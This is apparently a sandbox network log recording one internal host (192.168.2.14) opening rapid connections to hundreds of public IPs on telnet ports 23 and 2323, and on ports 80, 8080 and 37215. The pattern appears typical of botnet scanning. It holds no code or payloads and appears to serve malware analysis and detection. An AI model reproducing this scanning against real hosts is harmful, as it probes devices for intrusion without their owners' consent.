Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	86.115.227.80
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	64.139.35.30
Feb 27, 2025 07:08:37.545857906 CET	25794	23	192.168.2.14	98.181.146.76
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	42.218.115.53
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	175.66.228.105
Feb 27, 2025 07:08:37.545896053 CET	25794	2323	192.168.2.14	97.97.20.131
Feb 27, 2025 07:08:37.545886040 CET	25794	23	192.168.2.14	121.245.237.201
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	149.110.14.245
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	50.6.120.154
Feb 27, 2025 07:08:37.545830965 CET	25794	23	192.168.2.14	126.241.73.178
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	208.174.65.173
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	207.13.33.43
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	132.38.51.29
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	85.209.62.135
Feb 27, 2025 07:08:37.545871973 CET	25794	23	192.168.2.14	63.144.229.126
Feb 27, 2025 07:08:37.545857906 CET	25794	23	192.168.2.14	97.81.22.203
Feb 27, 2025 07:08:37.545896053 CET	25794	23	192.168.2.14	31.80.176.204
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	57.15.159.34
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	177.37.79.233
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	151.108.151.69
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	137.197.166.206
Feb 27, 2025 07:08:37.545927048 CET	25794	2323	192.168.2.14	177.236.86.88
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	125.120.185.43
Feb 27, 2025 07:08:37.545927048 CET	25794	23	192.168.2.14	157.4.177.244
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	18.142.251.115
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	19.159.64.40
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	216.105.14.106
Feb 27, 2025 07:08:37.545857906 CET	25794	2323	192.168.2.14	133.79.113.236
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	125.8.127.74
Feb 27, 2025 07:08:37.545857906 CET	25794	23	192.168.2.14	216.244.167.100
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	91.33.121.70
Feb 27, 2025 07:08:37.545938015 CET	25794	2323	192.168.2.14	134.9.177.68
Feb 27, 2025 07:08:37.545840979 CET	25794	23	192.168.2.14	137.241.118.58
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	169.132.111.12
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	9.200.201.14
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	17.222.61.106
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	186.169.79.209
Feb 27, 2025 07:08:37.545841932 CET	25794	23	192.168.2.14	152.50.109.255
Feb 27, 2025 07:08:37.545923948 CET	25794	23	192.168.2.14	101.228.93.66
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	212.120.144.140
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	103.0.5.9
Feb 27, 2025 07:08:37.545938015 CET	25794	2323	192.168.2.14	90.108.119.133
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	35.148.105.236
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	115.142.59.151
Feb 27, 2025 07:08:37.545945883 CET	25794	23	192.168.2.14	122.96.108.174
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	65.199.204.203
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	89.219.177.148
Feb 27, 2025 07:08:37.545945883 CET	25794	23	192.168.2.14	161.22.217.37
Feb 27, 2025 07:08:37.545933008 CET	25794	23	192.168.2.14	58.222.30.167
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	38.250.5.5
Feb 27, 2025 07:08:37.545945883 CET	25794	23	192.168.2.14	96.80.100.179
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	71.22.122.7
Feb 27, 2025 07:08:37.545945883 CET	25794	23	192.168.2.14	155.166.127.28
Feb 27, 2025 07:08:37.545938015 CET	25794	23	192.168.2.14	63.28.163.228
Feb 27, 2025 07:08:37.545945883 CET	25794	23	192.168.2.14	46.69.158.11
Feb 27, 2025 07:08:37.545857906 CET	25794	23	192.168.2.14	200.221.184.192
Feb 27, 2025 07:08:37.545947075 CET	25794	23	192.168.2.14	126.234.204.80
Feb 27, 2025 07:08:37.545859098 CET	25794	23	192.168.2.14	81.185.234.6
Feb 27, 2025 07:08:37.545947075 CET	25794	23	192.168.2.14	191.104.149.138
Feb 27, 2025 07:08:37.545859098 CET	25794	23	192.168.2.14	78.146.250.204
Feb 27, 2025 07:08:37.545947075 CET	25794	23	192.168.2.14	66.151.127.115
Feb 27, 2025 07:08:37.545965910 CET	25794	23	192.168.2.14	73.4.152.100
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	67.88.69.44
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	223.110.161.104
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	69.180.177.66
Feb 27, 2025 07:08:37.545969963 CET	25794	2323	192.168.2.14	164.116.154.112
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	156.93.8.98
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	148.53.177.58
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	206.144.174.161
Feb 27, 2025 07:08:37.545969963 CET	25794	23	192.168.2.14	197.139.248.87
Feb 27, 2025 07:08:37.545973063 CET	25794	23	192.168.2.14	148.158.176.236
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	177.90.123.137
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	139.119.205.123
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	151.151.181.17
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	173.46.17.4
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	102.130.123.127
Feb 27, 2025 07:08:37.545974016 CET	25794	2323	192.168.2.14	177.206.65.246
Feb 27, 2025 07:08:37.545974016 CET	25794	23	192.168.2.14	136.160.167.89
Feb 27, 2025 07:08:37.545974970 CET	25794	23	192.168.2.14	199.202.89.121
Feb 27, 2025 07:08:37.545981884 CET	25794	23	192.168.2.14	212.122.61.66
Feb 27, 2025 07:08:37.545981884 CET	25794	23	192.168.2.14	43.247.194.207
Feb 27, 2025 07:08:37.545981884 CET	25794	23	192.168.2.14	171.158.2.27
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	186.103.99.77
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	222.127.6.50
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	93.143.93.107
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	27.145.51.178
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	143.74.68.114
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	104.56.216.58
Feb 27, 2025 07:08:37.546000004 CET	25794	23	192.168.2.14	1.77.197.140
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	85.86.128.131
Feb 27, 2025 07:08:37.546001911 CET	25794	23	192.168.2.14	75.111.10.106
Feb 27, 2025 07:08:37.545995951 CET	25794	23	192.168.2.14	73.100.143.0
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	74.176.179.123
Feb 27, 2025 07:08:37.546003103 CET	25794	23	192.168.2.14	154.237.18.144
Feb 27, 2025 07:08:37.545995951 CET	25794	23	192.168.2.14	205.102.16.3
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	42.151.208.19
Feb 27, 2025 07:08:37.545995951 CET	25794	23	192.168.2.14	182.12.63.66
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	104.53.124.228
Feb 27, 2025 07:08:37.545995951 CET	25794	23	192.168.2.14	126.2.156.187
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	211.74.65.34
Feb 27, 2025 07:08:37.546010017 CET	25794	23	192.168.2.14	160.27.115.65
Feb 27, 2025 07:08:37.545994997 CET	25794	23	192.168.2.14	195.66.3.198
Feb 27, 2025 07:08:37.546010017 CET	25794	23	192.168.2.14	64.227.89.184
Feb 27, 2025 07:08:37.546024084 CET	25794	23	192.168.2.14	108.143.146.204
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	34.235.227.135
Feb 27, 2025 07:08:37.546036005 CET	25794	2323	192.168.2.14	69.118.180.85
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	100.243.87.168
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	20.126.199.222
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	172.33.137.152
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	51.164.79.38
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	109.78.55.130
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	78.138.191.209
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	2.200.127.109
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	134.179.213.225
Feb 27, 2025 07:08:37.546036005 CET	25794	2323	192.168.2.14	20.219.84.18
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	51.18.215.140
Feb 27, 2025 07:08:37.546036005 CET	25794	23	192.168.2.14	31.116.248.60
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	72.229.59.4
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	64.173.236.19
Feb 27, 2025 07:08:37.546037912 CET	25794	23	192.168.2.14	148.173.105.92
Feb 27, 2025 07:08:37.546049118 CET	25794	23	192.168.2.14	140.100.231.80
Feb 27, 2025 07:08:37.546050072 CET	25794	23	192.168.2.14	177.143.14.19
Feb 27, 2025 07:08:37.546050072 CET	25794	23	192.168.2.14	218.230.107.140
Feb 27, 2025 07:08:37.546062946 CET	25794	23	192.168.2.14	200.253.9.105
Feb 27, 2025 07:08:37.546066999 CET	25794	23	192.168.2.14	207.7.249.54
Feb 27, 2025 07:08:37.546066999 CET	25794	2323	192.168.2.14	97.38.188.105
Feb 27, 2025 07:08:37.546067953 CET	25794	23	192.168.2.14	150.55.148.197
Feb 27, 2025 07:08:37.546067953 CET	25794	23	192.168.2.14	88.84.164.166
Feb 27, 2025 07:08:37.546072006 CET	25794	2323	192.168.2.14	160.233.242.5
Feb 27, 2025 07:08:37.546072006 CET	25794	23	192.168.2.14	218.141.191.90
Feb 27, 2025 07:08:37.546072006 CET	25794	23	192.168.2.14	89.54.236.187
Feb 27, 2025 07:08:37.546072006 CET	25794	2323	192.168.2.14	128.148.98.166
Feb 27, 2025 07:08:37.546072006 CET	25794	23	192.168.2.14	206.244.74.153
Feb 27, 2025 07:08:37.546072006 CET	25794	23	192.168.2.14	124.73.219.254
Feb 27, 2025 07:08:37.546072960 CET	25794	23	192.168.2.14	109.69.218.34
Feb 27, 2025 07:08:37.546072960 CET	25794	23	192.168.2.14	202.160.97.186
Feb 27, 2025 07:08:37.546072960 CET	25794	23	192.168.2.14	99.53.240.90
Feb 27, 2025 07:08:37.546087980 CET	25794	23	192.168.2.14	38.17.46.106
Feb 27, 2025 07:08:37.546097040 CET	25794	23	192.168.2.14	95.25.63.16
Feb 27, 2025 07:08:37.546097040 CET	25794	23	192.168.2.14	123.127.249.81
Feb 27, 2025 07:08:37.546097040 CET	25794	23	192.168.2.14	50.77.172.130
Feb 27, 2025 07:08:37.546098948 CET	25794	23	192.168.2.14	161.193.32.83
Feb 27, 2025 07:08:37.546102047 CET	25794	23	192.168.2.14	202.62.134.234
Feb 27, 2025 07:08:37.546102047 CET	25794	23	192.168.2.14	175.235.173.194
Feb 27, 2025 07:08:37.546102047 CET	25794	23	192.168.2.14	90.129.174.225
Feb 27, 2025 07:08:37.546103001 CET	25794	23	192.168.2.14	63.13.185.213
Feb 27, 2025 07:08:37.546103001 CET	25794	23	192.168.2.14	106.97.23.13
Feb 27, 2025 07:08:37.546103001 CET	25794	23	192.168.2.14	151.246.37.187
Feb 27, 2025 07:08:37.546103001 CET	25794	23	192.168.2.14	41.89.65.107
Feb 27, 2025 07:08:37.546103001 CET	25794	23	192.168.2.14	99.187.156.42
Feb 27, 2025 07:08:37.546109915 CET	25794	23	192.168.2.14	8.181.106.77
Feb 27, 2025 07:08:37.546111107 CET	25794	23	192.168.2.14	179.154.129.77
Feb 27, 2025 07:08:37.546123028 CET	25794	23	192.168.2.14	180.234.169.29
Feb 27, 2025 07:08:37.546123028 CET	25794	2323	192.168.2.14	179.73.226.214
Feb 27, 2025 07:08:37.546124935 CET	25794	23	192.168.2.14	47.149.75.31
Feb 27, 2025 07:08:37.546129942 CET	25794	23	192.168.2.14	170.155.151.244
Feb 27, 2025 07:08:37.546149969 CET	25794	23	192.168.2.14	221.108.228.211
Feb 27, 2025 07:08:37.546149969 CET	25794	23	192.168.2.14	102.237.67.87
Feb 27, 2025 07:08:37.546149969 CET	25794	23	192.168.2.14	146.67.165.247
Feb 27, 2025 07:08:37.546149969 CET	25794	23	192.168.2.14	168.194.81.59
Feb 27, 2025 07:08:37.546156883 CET	25794	23	192.168.2.14	40.37.194.225
Feb 27, 2025 07:08:37.546159029 CET	25794	23	192.168.2.14	42.27.58.119
Feb 27, 2025 07:08:37.546164036 CET	25794	23	192.168.2.14	79.84.245.141
Feb 27, 2025 07:08:37.546164036 CET	25794	2323	192.168.2.14	1.51.219.218
Feb 27, 2025 07:08:37.546169996 CET	25794	23	192.168.2.14	195.84.24.88
Feb 27, 2025 07:08:37.546178102 CET	25794	23	192.168.2.14	69.161.229.59
Feb 27, 2025 07:08:37.546183109 CET	25794	23	192.168.2.14	34.133.8.23
Feb 27, 2025 07:08:37.546186924 CET	25794	23	192.168.2.14	104.220.112.59
Feb 27, 2025 07:08:37.546199083 CET	25794	23	192.168.2.14	114.39.139.253
Feb 27, 2025 07:08:37.546214104 CET	25794	2323	192.168.2.14	195.44.230.210
Feb 27, 2025 07:08:37.546215057 CET	25794	23	192.168.2.14	208.195.98.251
Feb 27, 2025 07:08:37.546215057 CET	25794	23	192.168.2.14	42.75.39.157
Feb 27, 2025 07:08:37.546215057 CET	25794	23	192.168.2.14	186.47.178.123
Feb 27, 2025 07:08:37.546216011 CET	25794	23	192.168.2.14	144.92.8.71
Feb 27, 2025 07:08:37.546221972 CET	25794	23	192.168.2.14	45.142.166.190
Feb 27, 2025 07:08:37.546224117 CET	25794	23	192.168.2.14	213.203.70.80
Feb 27, 2025 07:08:37.546224117 CET	25794	23	192.168.2.14	146.6.192.226
Feb 27, 2025 07:08:37.546226025 CET	25794	23	192.168.2.14	200.195.99.76
Feb 27, 2025 07:08:37.546236992 CET	25794	23	192.168.2.14	197.82.75.243
Feb 27, 2025 07:08:37.546236992 CET	25794	23	192.168.2.14	135.105.126.222
Feb 27, 2025 07:08:37.546237946 CET	25794	23	192.168.2.14	142.204.178.151
Feb 27, 2025 07:08:37.546240091 CET	25794	23	192.168.2.14	72.250.45.29
Feb 27, 2025 07:08:37.546240091 CET	25794	23	192.168.2.14	97.89.69.198
Feb 27, 2025 07:08:37.546240091 CET	25794	2323	192.168.2.14	143.207.238.156
Feb 27, 2025 07:08:37.546258926 CET	25794	23	192.168.2.14	120.153.58.232
Feb 27, 2025 07:08:37.546269894 CET	25794	23	192.168.2.14	77.60.58.96
Feb 27, 2025 07:08:37.546276093 CET	25794	23	192.168.2.14	77.16.114.76
Feb 27, 2025 07:08:37.546277046 CET	25794	23	192.168.2.14	74.187.103.26
Feb 27, 2025 07:08:37.546276093 CET	25794	23	192.168.2.14	179.44.230.75
Feb 27, 2025 07:08:37.546279907 CET	25794	23	192.168.2.14	43.163.37.162
Feb 27, 2025 07:08:37.546279907 CET	25794	23	192.168.2.14	82.67.122.95
Feb 27, 2025 07:08:37.546286106 CET	25794	23	192.168.2.14	20.248.242.25
Feb 27, 2025 07:08:37.546289921 CET	25794	23	192.168.2.14	17.17.80.236
Feb 27, 2025 07:08:37.546302080 CET	25794	2323	192.168.2.14	186.178.13.8
Feb 27, 2025 07:08:37.546302080 CET	25794	23	192.168.2.14	222.235.8.232
Feb 27, 2025 07:08:37.546307087 CET	25794	23	192.168.2.14	102.177.255.75
Feb 27, 2025 07:08:37.546307087 CET	25794	23	192.168.2.14	9.151.26.38
Feb 27, 2025 07:08:37.547005892 CET	42642	23	192.168.2.14	211.1.40.27
Feb 27, 2025 07:08:37.547697067 CET	43008	2323	192.168.2.14	159.178.23.251
Feb 27, 2025 07:08:37.548294067 CET	36532	23	192.168.2.14	148.27.21.253
Feb 27, 2025 07:08:37.548866987 CET	60010	23	192.168.2.14	93.127.119.251
Feb 27, 2025 07:08:37.549468040 CET	35544	23	192.168.2.14	190.236.150.116
Feb 27, 2025 07:08:37.550050974 CET	39280	23	192.168.2.14	79.200.168.234
Feb 27, 2025 07:08:37.550606966 CET	52608	23	192.168.2.14	57.2.11.215
Feb 27, 2025 07:08:37.551198006 CET	43432	23	192.168.2.14	34.222.105.245
Feb 27, 2025 07:08:37.551784039 CET	55842	23	192.168.2.14	189.116.91.74
Feb 27, 2025 07:08:37.552345991 CET	54708	23	192.168.2.14	84.174.237.117
Feb 27, 2025 07:08:37.552933931 CET	39990	23	192.168.2.14	151.184.176.35
Feb 27, 2025 07:08:37.553525925 CET	38640	23	192.168.2.14	124.238.175.194
Feb 27, 2025 07:08:37.554131985 CET	50864	23	192.168.2.14	81.233.47.162
Feb 27, 2025 07:08:37.554755926 CET	35490	23	192.168.2.14	223.122.185.182
Feb 27, 2025 07:08:37.555350065 CET	51130	23	192.168.2.14	177.205.27.253
Feb 27, 2025 07:08:37.555922985 CET	50170	23	192.168.2.14	140.4.85.212
Feb 27, 2025 07:08:37.556478977 CET	56170	23	192.168.2.14	58.43.184.50
Feb 27, 2025 07:08:37.557032108 CET	33200	23	192.168.2.14	78.255.237.91
Feb 27, 2025 07:08:37.557557106 CET	42810	23	192.168.2.14	82.102.65.92
Feb 27, 2025 07:08:37.558094978 CET	41822	23	192.168.2.14	144.37.186.79
Feb 27, 2025 07:08:37.558628082 CET	33912	23	192.168.2.14	150.245.145.37
Feb 27, 2025 07:08:37.559142113 CET	47958	2323	192.168.2.14	137.193.250.40
Feb 27, 2025 07:08:37.559664011 CET	48058	23	192.168.2.14	149.243.115.250
Feb 27, 2025 07:08:37.560153961 CET	49230	23	192.168.2.14	9.53.175.210
Feb 27, 2025 07:08:37.560703039 CET	60580	2323	192.168.2.14	156.246.77.88
Feb 27, 2025 07:08:37.561208010 CET	56694	23	192.168.2.14	2.98.57.160
Feb 27, 2025 07:08:37.561741114 CET	42372	23	192.168.2.14	164.186.86.153
Feb 27, 2025 07:08:37.562268019 CET	38572	23	192.168.2.14	46.11.149.43
Feb 27, 2025 07:08:37.562732935 CET	48448	80	192.168.2.14	95.73.228.68
Feb 27, 2025 07:08:37.562740088 CET	58190	37215	192.168.2.14	197.157.36.169
Feb 27, 2025 07:08:37.562741041 CET	47632	80	192.168.2.14	95.131.34.169
Feb 27, 2025 07:08:37.562740088 CET	42268	80	192.168.2.14	95.45.52.12
Feb 27, 2025 07:08:37.562741041 CET	42734	80	192.168.2.14	95.141.78.110
Feb 27, 2025 07:08:37.562748909 CET	32864	80	192.168.2.14	95.206.172.103
Feb 27, 2025 07:08:37.562750101 CET	51048	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:37.562755108 CET	46196	37215	192.168.2.14	197.86.108.181
Feb 27, 2025 07:08:37.562756062 CET	45264	37215	192.168.2.14	197.149.32.102
Feb 27, 2025 07:08:37.562756062 CET	57706	37215	192.168.2.14	197.91.205.227
Feb 27, 2025 07:08:37.562756062 CET	52396	37215	192.168.2.14	197.135.26.133
Feb 27, 2025 07:08:37.562762022 CET	33136	37215	192.168.2.14	197.65.23.177
Feb 27, 2025 07:08:37.562766075 CET	35244	23	192.168.2.14	160.118.109.68
Feb 27, 2025 07:08:37.563303947 CET	60498	23	192.168.2.14	83.139.1.177
Feb 27, 2025 07:08:37.563837051 CET	38904	23	192.168.2.14	174.221.241.144
Feb 27, 2025 07:08:37.564357996 CET	35170	23	192.168.2.14	176.161.197.202
Feb 27, 2025 07:08:37.564917088 CET	37950	23	192.168.2.14	63.64.81.253
Feb 27, 2025 07:08:37.565443993 CET	50866	23	192.168.2.14	103.6.192.209
Feb 27, 2025 07:08:37.565965891 CET	53110	23	192.168.2.14	197.210.78.153
Feb 27, 2025 07:08:37.566477060 CET	42828	23	192.168.2.14	186.183.113.207
Feb 27, 2025 07:08:37.567018986 CET	54488	2323	192.168.2.14	183.2.178.209
Feb 27, 2025 07:08:37.567563057 CET	47004	23	192.168.2.14	192.106.168.8
Feb 27, 2025 07:08:37.568106890 CET	57072	23	192.168.2.14	132.24.89.121
Feb 27, 2025 07:08:37.568653107 CET	35782	23	192.168.2.14	190.63.187.229
Feb 27, 2025 07:08:37.569186926 CET	55980	2323	192.168.2.14	172.67.132.64
Feb 27, 2025 07:08:37.569729090 CET	45422	23	192.168.2.14	167.244.19.154
Feb 27, 2025 07:08:37.570274115 CET	41982	23	192.168.2.14	63.153.22.192
Feb 27, 2025 07:08:37.570929050 CET	47662	23	192.168.2.14	155.241.25.14
Feb 27, 2025 07:08:37.571455956 CET	49280	23	192.168.2.14	155.136.6.57
Feb 27, 2025 07:08:37.571990967 CET	45336	23	192.168.2.14	93.124.86.27
Feb 27, 2025 07:08:37.572643042 CET	55690	23	192.168.2.14	150.39.252.135
Feb 27, 2025 07:08:37.573043108 CET	48406	23	192.168.2.14	148.70.78.41
Feb 27, 2025 07:08:37.573566914 CET	33918	23	192.168.2.14	220.128.211.110
Feb 27, 2025 07:08:37.574084997 CET	59902	2323	192.168.2.14	154.61.29.246
Feb 27, 2025 07:08:37.574615002 CET	57516	23	192.168.2.14	204.238.141.171
Feb 27, 2025 07:08:37.575310946 CET	34718	23	192.168.2.14	90.49.168.251
Feb 27, 2025 07:08:37.575861931 CET	49690	23	192.168.2.14	13.37.254.136
Feb 27, 2025 07:08:37.576378107 CET	54942	23	192.168.2.14	86.164.183.23
Feb 27, 2025 07:08:37.576894999 CET	43086	23	192.168.2.14	82.150.113.199
Feb 27, 2025 07:08:37.577410936 CET	44438	23	192.168.2.14	75.87.10.26
Feb 27, 2025 07:08:37.577949047 CET	55138	23	192.168.2.14	146.205.174.89
Feb 27, 2025 07:08:37.578469992 CET	34290	23	192.168.2.14	19.195.167.10
Feb 27, 2025 07:08:37.578999996 CET	43406	23	192.168.2.14	163.241.113.92
Feb 27, 2025 07:08:37.579680920 CET	35908	2323	192.168.2.14	5.203.60.135
Feb 27, 2025 07:08:37.580235004 CET	42504	23	192.168.2.14	162.215.20.31
Feb 27, 2025 07:08:37.580749989 CET	38630	23	192.168.2.14	34.161.83.19
Feb 27, 2025 07:08:37.581279039 CET	50724	23	192.168.2.14	58.56.161.251
Feb 27, 2025 07:08:37.584769011 CET	25538	8080	192.168.2.14	62.252.113.83
Feb 27, 2025 07:08:37.584769011 CET	25538	8080	192.168.2.14	94.5.189.139
Feb 27, 2025 07:08:37.584789038 CET	25538	8080	192.168.2.14	94.214.68.142
Feb 27, 2025 07:08:37.584790945 CET	25538	8080	192.168.2.14	95.152.164.111
Feb 27, 2025 07:08:37.584798098 CET	25538	8080	192.168.2.14	94.80.163.236
Feb 27, 2025 07:08:37.584801912 CET	25538	8080	192.168.2.14	31.167.137.126
Feb 27, 2025 07:08:37.584814072 CET	25538	8080	192.168.2.14	62.197.235.99
Feb 27, 2025 07:08:37.584816933 CET	25538	8080	192.168.2.14	94.169.177.34
Feb 27, 2025 07:08:37.584816933 CET	25538	8080	192.168.2.14	62.153.180.64
Feb 27, 2025 07:08:37.584839106 CET	25538	8080	192.168.2.14	95.153.49.72
Feb 27, 2025 07:08:37.584850073 CET	25538	8080	192.168.2.14	85.47.224.188
Feb 27, 2025 07:08:37.584851980 CET	25538	8080	192.168.2.14	95.96.137.165
Feb 27, 2025 07:08:37.584851980 CET	25538	8080	192.168.2.14	95.242.4.81
Feb 27, 2025 07:08:37.584853888 CET	25538	8080	192.168.2.14	95.164.81.86
Feb 27, 2025 07:08:37.584855080 CET	25538	8080	192.168.2.14	31.197.193.147
Feb 27, 2025 07:08:37.584855080 CET	25538	8080	192.168.2.14	85.227.118.138
Feb 27, 2025 07:08:37.584861040 CET	25538	8080	192.168.2.14	94.84.116.24
Feb 27, 2025 07:08:37.584865093 CET	25538	8080	192.168.2.14	62.176.0.92
Feb 27, 2025 07:08:37.584865093 CET	25538	8080	192.168.2.14	31.157.151.42
Feb 27, 2025 07:08:37.584873915 CET	25538	8080	192.168.2.14	85.19.48.38
Feb 27, 2025 07:08:37.584873915 CET	25538	8080	192.168.2.14	94.193.46.90
Feb 27, 2025 07:08:37.584881067 CET	25538	8080	192.168.2.14	31.47.201.168
Feb 27, 2025 07:08:37.584881067 CET	25538	8080	192.168.2.14	94.149.197.238
Feb 27, 2025 07:08:37.584883928 CET	25538	8080	192.168.2.14	94.62.67.255
Feb 27, 2025 07:08:37.584897041 CET	25538	8080	192.168.2.14	94.97.161.224
Feb 27, 2025 07:08:37.584897041 CET	25538	8080	192.168.2.14	85.9.206.190
Feb 27, 2025 07:08:37.584899902 CET	25538	8080	192.168.2.14	94.192.186.89
Feb 27, 2025 07:08:37.584906101 CET	25538	8080	192.168.2.14	94.159.175.103
Feb 27, 2025 07:08:37.584908962 CET	25538	8080	192.168.2.14	62.215.53.134
Feb 27, 2025 07:08:37.584913015 CET	25538	8080	192.168.2.14	95.92.149.166
Feb 27, 2025 07:08:37.584924936 CET	25538	8080	192.168.2.14	85.135.53.85
Feb 27, 2025 07:08:37.584924936 CET	25538	8080	192.168.2.14	85.126.79.187
Feb 27, 2025 07:08:37.584927082 CET	25538	8080	192.168.2.14	62.107.93.0
Feb 27, 2025 07:08:37.584927082 CET	25538	8080	192.168.2.14	95.50.195.153
Feb 27, 2025 07:08:37.584927082 CET	25538	8080	192.168.2.14	85.4.75.101
Feb 27, 2025 07:08:37.584953070 CET	25538	8080	192.168.2.14	31.121.197.246
Feb 27, 2025 07:08:37.584953070 CET	25538	8080	192.168.2.14	85.168.76.21
Feb 27, 2025 07:08:37.584954023 CET	25538	8080	192.168.2.14	62.108.191.88
Feb 27, 2025 07:08:37.584954023 CET	25538	8080	192.168.2.14	62.168.128.76
Feb 27, 2025 07:08:37.584955931 CET	25538	8080	192.168.2.14	85.46.155.79
Feb 27, 2025 07:08:37.584970951 CET	25538	8080	192.168.2.14	85.4.103.29
Feb 27, 2025 07:08:37.584975004 CET	25538	8080	192.168.2.14	95.21.16.16
Feb 27, 2025 07:08:37.584975958 CET	25538	8080	192.168.2.14	31.180.66.112
Feb 27, 2025 07:08:37.584991932 CET	25538	8080	192.168.2.14	31.235.113.168
Feb 27, 2025 07:08:37.584992886 CET	25538	8080	192.168.2.14	95.213.169.255
Feb 27, 2025 07:08:37.584996939 CET	25538	8080	192.168.2.14	31.105.233.227
Feb 27, 2025 07:08:37.585007906 CET	25538	8080	192.168.2.14	94.224.83.20
Feb 27, 2025 07:08:37.585011959 CET	25538	8080	192.168.2.14	62.70.159.67
Feb 27, 2025 07:08:37.585016012 CET	25538	8080	192.168.2.14	94.207.54.202
Feb 27, 2025 07:08:37.585017920 CET	25538	8080	192.168.2.14	85.170.114.240
Feb 27, 2025 07:08:37.585026026 CET	25538	8080	192.168.2.14	85.182.156.80
Feb 27, 2025 07:08:37.585031986 CET	25538	8080	192.168.2.14	62.145.110.4
Feb 27, 2025 07:08:37.585035086 CET	25538	8080	192.168.2.14	62.100.91.244
Feb 27, 2025 07:08:37.585047960 CET	25538	8080	192.168.2.14	95.228.100.234
Feb 27, 2025 07:08:37.585050106 CET	25538	8080	192.168.2.14	85.118.245.167
Feb 27, 2025 07:08:37.585057020 CET	25538	8080	192.168.2.14	62.224.232.18
Feb 27, 2025 07:08:37.585067034 CET	25538	8080	192.168.2.14	95.71.0.131
Feb 27, 2025 07:08:37.585067034 CET	25538	8080	192.168.2.14	95.63.8.252
Feb 27, 2025 07:08:37.585068941 CET	25538	8080	192.168.2.14	94.231.81.19
Feb 27, 2025 07:08:37.585068941 CET	25538	8080	192.168.2.14	85.73.137.103
Feb 27, 2025 07:08:37.585068941 CET	25538	8080	192.168.2.14	31.245.103.190
Feb 27, 2025 07:08:37.585087061 CET	25538	8080	192.168.2.14	94.107.181.161
Feb 27, 2025 07:08:37.585091114 CET	25538	8080	192.168.2.14	95.215.122.6
Feb 27, 2025 07:08:37.585091114 CET	25538	8080	192.168.2.14	94.84.157.60
Feb 27, 2025 07:08:37.585091114 CET	25538	8080	192.168.2.14	95.26.175.147
Feb 27, 2025 07:08:37.585093021 CET	25538	8080	192.168.2.14	31.14.193.243
